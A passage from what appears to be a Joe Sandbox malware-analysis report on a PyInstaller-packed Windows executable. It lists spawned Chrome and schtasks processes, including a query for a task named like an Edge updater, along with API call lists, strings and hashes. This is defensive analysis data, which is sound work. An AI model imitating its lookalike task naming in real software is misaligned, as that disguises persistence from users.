Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	117
Start time:	07:55:14
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1148,i,2046368302589155641,3041774423784538269,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	118
Start time:	07:55:20
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 732, Parent PID: 2764

General

Target ID:	119
Start time:	07:55:21
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	120
Start time:	07:55:21
Start date:	29/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	121
Start time:	07:55:21
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://go.microsoft.com/fwlink/?LinkId=530045
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	122
Start time:	07:55:21
Start date:	29/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2012,i,11408168899703520178,4411795298762762360,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	123
Start time:	07:55:26
Start date:	29/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe"
Imagebase:	0x7ff629ea0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7888, Parent PID: 7804

General

Target ID:	124
Start time:	07:55:26
Start date:	29/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	144
Start time:	07:55:41
Start date:	29/12/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	50

Executed Functions

Function 00007FF77B204E20 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF77B204E65

Part of subcall function 00007FF77B2047B8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B2047CC

Part of subcall function 00007FF77B1F9E18: RtlFreeHeap.NTDLL(?,?,?,00007FF77B201E42,?,?,?,00007FF77B201E7F,?,?,00000000,00007FF77B202345,?,?,?,00007FF77B202277), ref: 00007FF77B1F9E2E
Part of subcall function 00007FF77B1F9E18: GetLastError.KERNEL32(?,?,?,00007FF77B201E42,?,?,?,00007FF77B201E7F,?,?,00000000,00007FF77B202345,?,?,?,00007FF77B202277), ref: 00007FF77B1F9E38

Part of subcall function 00007FF77B1F9DD0: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF77B1F9DAF,?,?,?,?,?,00007FF77B1F21EC), ref: 00007FF77B1F9DD9
Part of subcall function 00007FF77B1F9DD0: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF77B1F9DAF,?,?,?,?,?,00007FF77B1F21EC), ref: 00007FF77B1F9DFE

_get_daylight.LIBCMT ref: 00007FF77B204E54

Part of subcall function 00007FF77B204818: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B20482C

_get_daylight.LIBCMT ref: 00007FF77B2050CA
_get_daylight.LIBCMT ref: 00007FF77B2050DB
_get_daylight.LIBCMT ref: 00007FF77B2050EC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF77B20532C), ref: 00007FF77B205113

Strings

Eastern Summer Time, xrefs: 00007FF77B2051D1
Eastern Standard Time, xrefs: 00007FF77B2051B9

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 77ba2d10f7a40a17f98ee8fd01e8c058cff67636c36494bf754a44884999314e
Instruction ID: 08db2150f1dc152c41586018c82f70862beefa55f5348372af8d29c78d182b73
Opcode Fuzzy Hash: 77ba2d10f7a40a17f98ee8fd01e8c058cff67636c36494bf754a44884999314e
Instruction Fuzzy Hash: C3D1A237A3A25246E720BF29D8901B9A3A1FF84784FC58536EA1D476ADDF3CE441C760

Function 00007FF77B205D6C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF77B205AA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B205AE1
Part of subcall function 00007FF77B205AA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B205B5F
Part of subcall function 00007FF77B205AA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B205BB0

CreateFileW.KERNELBASE ref: 00007FF77B205E72
CreateFileW.KERNEL32 ref: 00007FF77B205EC2
GetLastError.KERNEL32 ref: 00007FF77B205EF2
GetFileType.KERNELBASE ref: 00007FF77B205F07
GetLastError.KERNEL32 ref: 00007FF77B205F11
CloseHandle.KERNEL32 ref: 00007FF77B205F44
CloseHandle.KERNEL32 ref: 00007FF77B2060A7
CreateFileW.KERNEL32 ref: 00007FF77B2060DC
GetLastError.KERNEL32 ref: 00007FF77B2060EB

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: f9714f3a8e10acd42ca2d2c5b2c2c8a966f4ca54d5d677232d284773bb45134f
Instruction ID: e38b1485a8277674fc468054f731fc9d9cce08a88326dd073252efdc01c80882
Opcode Fuzzy Hash: f9714f3a8e10acd42ca2d2c5b2c2c8a966f4ca54d5d677232d284773bb45134f
Instruction Fuzzy Hash: 8EC1C433B35A458AEB10EF68D4906AC7761FB49B98B851235DF1E977A9CF38E051C310

Function 00007FF77B1E6780 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,00000000,?,00007FF77B1E674D), ref: 00007FF77B1E681A

Part of subcall function 00007FF77B1E6990: GetEnvironmentVariableW.KERNEL32(00007FF77B1E36E7), ref: 00007FF77B1E69CA
Part of subcall function 00007FF77B1E6990: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF77B1E69E7

Part of subcall function 00007FF77B1F66B4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F66CD

SetEnvironmentVariableW.KERNEL32(?,TokenIntegrityLevel), ref: 00007FF77B1E68D1

Part of subcall function 00007FF77B1E2770: MessageBoxW.USER32 ref: 00007FF77B1E2841

Strings

_MEI%d, xrefs: 00007FF77B1E6828
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF77B1E67F8
TMP, xrefs: 00007FF77B1E67B8, 00007FF77B1E6879, 00007FF77B1E6907
TMP, xrefs: 00007FF77B1E67DE

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: f94b85ae83cde5ff99a73dacb969786b4b90177c333bd4c8ae2eb3a11c31c338
Instruction ID: 3876399c224c532574a61ac4c31d02d6bf7174e8875f642934eb358e1915e1e6
Opcode Fuzzy Hash: f94b85ae83cde5ff99a73dacb969786b4b90177c333bd4c8ae2eb3a11c31c338
Instruction Fuzzy Hash: 19517B33B3A64256FA54B7AAB9156BAD2515F85BC9FC40035E90E877BEED2CE401C320

Function 00007FF77B20509C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF77B2050CA

Part of subcall function 00007FF77B204818: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B20482C

_get_daylight.LIBCMT ref: 00007FF77B2050DB

Part of subcall function 00007FF77B2047B8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B2047CC

_get_daylight.LIBCMT ref: 00007FF77B2050EC

Part of subcall function 00007FF77B2047E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B2047FC

Part of subcall function 00007FF77B1F9E18: RtlFreeHeap.NTDLL(?,?,?,00007FF77B201E42,?,?,?,00007FF77B201E7F,?,?,00000000,00007FF77B202345,?,?,?,00007FF77B202277), ref: 00007FF77B1F9E2E
Part of subcall function 00007FF77B1F9E18: GetLastError.KERNEL32(?,?,?,00007FF77B201E42,?,?,?,00007FF77B201E7F,?,?,00000000,00007FF77B202345,?,?,?,00007FF77B202277), ref: 00007FF77B1F9E38

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF77B20532C), ref: 00007FF77B205113

Strings

Eastern Summer Time, xrefs: 00007FF77B2051D1
Eastern Standard Time, xrefs: 00007FF77B2051B9

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 74e2aae664cff904285b8cceaf5bd78e264b53cf78d1017760ee0a7f729cca6e
Instruction ID: 9aef423782415b93ec1bc6d9e730942133d14dac916c513e405b81d72da7e980
Opcode Fuzzy Hash: 74e2aae664cff904285b8cceaf5bd78e264b53cf78d1017760ee0a7f729cca6e
Instruction Fuzzy Hash: 0A518533A3964286E710FF29E9901A9E760BF88784FC14536DA1D876BEDF3CE4018760

Function 00007FF77B1E17B0 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fread_nolock.LIBCMT ref: 00007FF77B1E185C
_fread_nolock.LIBCMT ref: 00007FF77B1E190E

Part of subcall function 00007FF77B1EF370: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1EF384

Part of subcall function 00007FF77B1E2770: MessageBoxW.USER32 ref: 00007FF77B1E2841

Strings

Error on file., xrefs: 00007FF77B1E193D
Failed to read cookie!, xrefs: 00007FF77B1E1867
fread, xrefs: 00007FF77B1E186E
Could not allocate buffer for TOC!, xrefs: 00007FF77B1E18E3
Failed to seek to cookie position!, xrefs: 00007FF77B1E182F
Could not read full TOC!, xrefs: 00007FF77B1E1919
MEI, xrefs: 00007FF77B1E17EF
Cannot read Table of Contents., xrefs: 00007FF77B1E1995
fseek, xrefs: 00007FF77B1E1836
malloc, xrefs: 00007FF77B1E18EA

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: _fread_nolock$Message_invalid_parameter_noinfo
String ID: Cannot read Table of Contents.$Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 2153230061-4158440160
Opcode ID: 26d7a39e4bb37fbb5298a3afe4fcb8b06e692ca285e12a7e82eb9545fa2736cf
Instruction ID: 19ade6df7b73083760a87ec79543069e85e8843bb4dddb3754027277bae77475
Opcode Fuzzy Hash: 26d7a39e4bb37fbb5298a3afe4fcb8b06e692ca285e12a7e82eb9545fa2736cf
Instruction Fuzzy Hash: 40515D73A3A60686EB54EF6CE450278B3A0EB48B49BD18535DA0D833ADDF7CE550C760

Function 00007FF77B1E1440 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open target file!, xrefs: 00007FF77B1E148A
fread, xrefs: 00007FF77B1E15EC
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF77B1E14F9
fopen, xrefs: 00007FF77B1E1491
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF77B1E15E5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF77B1E14CA
fwrite, xrefs: 00007FF77B1E15DC
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF77B1E1559
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF77B1E15D5
fseek, xrefs: 00007FF77B1E1500
malloc, xrefs: 00007FF77B1E1560

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID:
String ID: Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 0-666925554
Opcode ID: ce3c0643762cf6c79c9f56b2638517c302d69f8d83072ed358880a1daac466f4
Instruction ID: 4205e0e99bf27443d217460eaa342a4ae3d39e8ea8cdc55bcf990074992f9ad2
Opcode Fuzzy Hash: ce3c0643762cf6c79c9f56b2638517c302d69f8d83072ed358880a1daac466f4
Instruction Fuzzy Hash: 3151BE73B3964242EA20BB99B4106B9A3A0AF46B99FC54431DE0D477BDEF7CE1558330

Function 00007FF77B1E78A0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,00007FF77B1E685A,?,00007FF77B1E674D), ref: 00007FF77B1E78E0
OpenProcessToken.ADVAPI32(?,00007FF77B1E674D), ref: 00007FF77B1E78F1
GetTokenInformation.KERNELBASE(?,00007FF77B1E674D(TokenIntegrityLevel)), ref: 00007FF77B1E7913
GetLastError.KERNEL32(?,TokenIntegrityLevel), ref: 00007FF77B1E791D
GetTokenInformation.KERNELBASE(?,TokenIntegrityLevel), ref: 00007FF77B1E795A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF77B1E796C
CloseHandle.KERNEL32(?,00007FF77B1E674D), ref: 00007FF77B1E7984
LocalFree.KERNEL32(?,00007FF77B1E674D), ref: 00007FF77B1E79B6
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF77B1E79DD
CreateDirectoryW.KERNELBASE(?,00007FF77B1E674D), ref: 00007FF77B1E79EE

Strings

D:(A;;FA;;;%s), xrefs: 00007FF77B1E7999
S-1-3-4, xrefs: 00007FF77B1E798F

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Token$ConvertDescriptorInformationProcessSecurityString$CloseCreateCurrentDirectoryErrorFreeHandleLastLocalOpen
String ID: D:(A;;FA;;;%s)$S-1-3-4
API String ID: 4998090-2855260032
Opcode ID: 2e28230f75d657313d5b30c4cdf08458408b558478e57b477a7299d9920cfa6e
Instruction ID: f97bdfd835d6b3097d25d25ccffe1890e866f195757adfbb0b0ffcc6a10b1fcc
Opcode Fuzzy Hash: 2e28230f75d657313d5b30c4cdf08458408b558478e57b477a7299d9920cfa6e
Instruction Fuzzy Hash: 41414C3263968682EA50AF68F4447AAE361FB857A5F840231EA5E466EDDF3CD444C720

Function 00007FF77B1E6FD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF77B1E7A30: MultiByteToWideChar.KERNEL32 ref: 00007FF77B1E7A6A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF77B1E3A30), ref: 00007FF77B1E701F
GetStartupInfoW.KERNEL32 ref: 00007FF77B1E703E

Part of subcall function 00007FF77B1F9184: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F9198

Part of subcall function 00007FF77B1F6EF8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF77B1F6F5F

GetCommandLineW.KERNEL32 ref: 00007FF77B1E70DE
CreateProcessW.KERNELBASE ref: 00007FF77B1E7120
WaitForSingleObject.KERNEL32 ref: 00007FF77B1E7134
GetExitCodeProcess.KERNELBASE ref: 00007FF77B1E7144

Strings

Error creating child process!, xrefs: 00007FF77B1E7150
CreateProcessW, xrefs: 00007FF77B1E7157

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 818e29d337d92c80142cd965dc47d4137e35c853672c1fb6e5a7bce6e7f526a1
Instruction ID: 3f573388946dc2133dc5d52a43640353a499f12c1cd1cdac250c7046773a69d2
Opcode Fuzzy Hash: 818e29d337d92c80142cd965dc47d4137e35c853672c1fb6e5a7bce6e7f526a1
Instruction Fuzzy Hash: B8412433A2978286DA20EB64F4552AAF364FB95364F800335E6AD47BE9DF7CD044CB50

Function 00007FF77B1E1000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF77B1E3BA0: GetModuleFileNameW.KERNEL32(?,00007FF77B1E3699), ref: 00007FF77B1E3BD1

SetDllDirectoryW.KERNEL32 ref: 00007FF77B1E38A5

Part of subcall function 00007FF77B1E6990: GetEnvironmentVariableW.KERNEL32(00007FF77B1E36E7), ref: 00007FF77B1E69CA
Part of subcall function 00007FF77B1E6990: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF77B1E69E7

Strings

Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF77B1E378E
_PYI_ONEDIR_MODE, xrefs: 00007FF77B1E36FC, 00007FF77B1E3727
_MEIPASS2, xrefs: 00007FF77B1E36D3, 00007FF77B1E373C, 00007FF77B1E39EB, 00007FF77B1E39FB
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF77B1E382C
MEI, xrefs: 00007FF77B1E37E7
Failed to convert DLL search path!, xrefs: 00007FF77B1E388D

Memory Dump Source

Source File: 00000000.00000002.1774319969.00007FF77B1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF77B1E0000, based on PE: true

Associated: 00000000.00000002.1774287345.00007FF77B1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774389384.00007FF77B20A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B21D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774465633.00007FF77B22C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1774632764.00007FF77B22E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff77b1e0000_T1#U52a9#U624b1.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-3602715111
Opcode ID: 426576a0d0326df7c30950c6b1a5e1b6b49a81e1bfd48d9296af6f421a1cdc99
Instruction ID: a02a1cc86eed76f3719287c7209bf8ae724a8ed716a80e3ff3530d1b26385e80
Opcode Fuzzy Hash: 426576a0d0326df7c30950c6b1a5e1b6b49a81e1bfd48d9296af6f421a1cdc99
Instruction Fuzzy Hash: 18B19533A3D58342EA65BBA9B4501FDA250BF44B8AFC44135EA4D476BEEF2CE505C720

Function 00007FF77B1E1050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF77B1E1249
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF77B1E10F1
1.2.13, xrefs: 00007FF77B1E107E
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF77B1E10B4
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF77B1E111F
malloc, xrefs: 00007FF77B1E10F8, 00007FF77B1E1126

Memory Dump Source

